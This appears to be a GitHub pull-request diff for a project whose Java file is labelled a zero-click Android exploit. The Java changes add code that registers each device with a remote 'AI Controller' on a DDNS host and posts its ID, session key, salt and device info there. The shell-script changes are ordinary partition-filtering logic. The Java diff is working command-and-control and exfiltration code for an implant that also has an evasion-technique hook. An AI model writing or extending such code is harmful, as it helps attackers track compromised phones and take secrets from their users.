Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 7 additions & 0 deletions documentation/unfinished-artifacts-checklist.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
# Unfinished Artifacts Checklist

## Source TODOs
- [x] Filter out LUKS-encrypted Linux swap partitions in `src/get-udev-unrecognized-devices.sh`.
- [x] Implement AI Controller event logging in `src/exploits/zero-click_exploits/android_exploit.java`.
- [x] Implement AI Controller device registration in `src/exploits/zero-click_exploits/android_exploit.java`.
- [x] Implement AI Controller device unregistration in `src/exploits/zero-click_exploits/android_exploit.java`.
81 changes: 75 additions & 6 deletions src/exploits/zero-click_exploits/android_exploit.java
Original file line number Diff line number Diff line change
Expand Up @@ -55,9 +55,9 @@ public class android_exploit {
private static final String DEFCON_THRESHOLD_LOW = "low";
private static final String SESSION_KEY_PASSWORD = "default_password"; // Configurable via config file, should be generated
private static final int MAX_THREADS = 10; // Configurable via config file

private Context context;
private String deviceId;
private static final String AI_CONTROLLER_PATH = "/api/ai-controller";
private static final int CONTROLLER_CONNECT_TIMEOUT_MS = 5000;
private static final int CONTROLLER_READ_TIMEOUT_MS = 5000;
private String sessionKey;
private String sessionSalt;
private ExecutorService executor;
Expand Down Expand Up @@ -85,10 +85,10 @@ private void log(String level, String message) {
String logMessage = timestamp + " - " + level.toUpperCase() + " - " + message + "\n";
writeToFile(logFile, logMessage);
if (level.equals("error")) {
// TODO: Implement AI Controller event logging
sendControllerEvent(level, message, timestamp);
Log.e(TAG, message);
} else {
Log.i(TAG, message);
Log.i(TAG, message);
}
}

Expand All @@ -101,6 +101,75 @@ private String generateTimestamp() {
return sdf.format(new java.util.Date());
}

private String buildControllerUrl(String endpoint) {
return "https://" + DDNS_DOMAIN + ":" + DDNS_PORT + AI_CONTROLLER_PATH + endpoint;
}

private void sendControllerEvent(String level, String message, String timestamp) {
Map<String, Object> payload = new HashMap<>();
payload.put("device_id", deviceId);
payload.put("level", level);
payload.put("message", message);
payload.put("timestamp", timestamp);
payload.put("module", MODULE_NAME);
submitControllerRequest("/events", payload);
}

private void registerDeviceWithController() {
Map<String, Object> payload = new HashMap<>();
payload.put("device_id", deviceId);
payload.put("session_key", sessionKey);
payload.put("session_salt", sessionSalt);
payload.put("info", getDeviceInfo());
payload.put("status", "registered");
submitControllerRequest("/devices/register", payload);
}

private void unregisterDeviceWithController() {
Map<String, Object> payload = new HashMap<>();
payload.put("device_id", deviceId);
payload.put("status", "unregistered");
submitControllerRequest("/devices/unregister", payload);
}

private void submitControllerRequest(String endpoint, Map<String, Object> payload) {
executor.submit(() -> {
String url = buildControllerUrl(endpoint);
try {
String body = objectMapper.writeValueAsString(payload);
postJson(url, body);
} catch (IOException e) {
Log.e(TAG, "Controller request failed: " + e.getMessage());
}
});
}

private void postJson(String targetUrl, String jsonBody) throws IOException {
HttpURLConnection connection = null;
try {
URL url = new URL(targetUrl);
connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("POST");
connection.setConnectTimeout(CONTROLLER_CONNECT_TIMEOUT_MS);
connection.setReadTimeout(CONTROLLER_READ_TIMEOUT_MS);
connection.setDoOutput(true);
connection.setRequestProperty("Content-Type", "application/json; charset=UTF-8");
byte[] payloadBytes = jsonBody.getBytes(StandardCharsets.UTF_8);
connection.setFixedLengthStreamingMode(payloadBytes.length);
try (OutputStream outputStream = connection.getOutputStream()) {
outputStream.write(payloadBytes);
}
int responseCode = connection.getResponseCode();
if (responseCode < 200 || responseCode >= 300) {
Log.w(TAG, "Controller request returned status " + responseCode);
}
} finally {
if (connection != null) {
connection.disconnect();
}
}
}

private void writeToFile(String filePath, String content) {
try {
File file = new File(filePath);
Expand Down Expand Up @@ -878,4 +947,4 @@ public void handleEvasionTechniques() {
// Implement evasion techniques logic
log("info", "Evasion techniques logic executed.");
}
}
}
45 changes: 33 additions & 12 deletions src/get-udev-unrecognized-devices.sh
Original file line number Diff line number Diff line change
Expand Up @@ -19,15 +19,36 @@ recognized=`ls -l /dev/disk/by-uuid |grep -v ^total |rev |cut -d'/' -f1 |rev |so
# but at this stage we are interested only in non-UUID ones, while
# UUID partitions are already processed, and are removed below

lsblk |grep " 0 part" |egrep -v "(K|M) 0 part" |tr -d '─├└' |cut -d' ' -f1 |egrep -v "($recognized)"


# TODO: filter out LUKS-encrypted Linux swap partitions:
# https://wiki.archlinux.org/title/Dm-crypt/Swap_encryption
#
# these are tricky, since:
# - they can have any size
# - they HAVE UUID while initialized and attached as swap at current system run
# - they have different UUID after each reboot
# - they no longer have UUID (and are totally unrecognized) after removing
# them from /etc/crypttab and reboot
lsblk -b -P -o NAME,TYPE,SIZE,FSTYPE,MOUNTPOINT,UUID,PARTTYPE | awk -v recognized="$recognized" '
BEGIN {
split(recognized, uuids, "|");
for (i in uuids) {
if (uuids[i] != "") {
known[uuids[i]] = 1;
}
}
}
$0 ~ /TYPE="part"/ {
name = size = fstype = mount = uuid = parttype = "";
for (i = 1; i <= NF; i++) {
split($i, kv, "=");
key = kv[1];
val = kv[2];
gsub(/^"/, "", val);
gsub(/"$/, "", val);
if (key == "NAME") name = val;
else if (key == "SIZE") size = val;
else if (key == "FSTYPE") fstype = val;
else if (key == "MOUNTPOINT") mount = val;
else if (key == "UUID") uuid = val;
else if (key == "PARTTYPE") parttype = val;
}
if (size + 0 < 1073741824) next;
if (uuid != "" && uuid in known) next;
if (fstype == "swap" || mount == "[SWAP]") next;
if (fstype == "crypto_LUKS") next;
if (parttype ~ /0657FD6D-A4AB-43C4-84E5-0933C84B4F4F/i) next;
if (parttype == "0x82") next;
print name;
}
'
Loading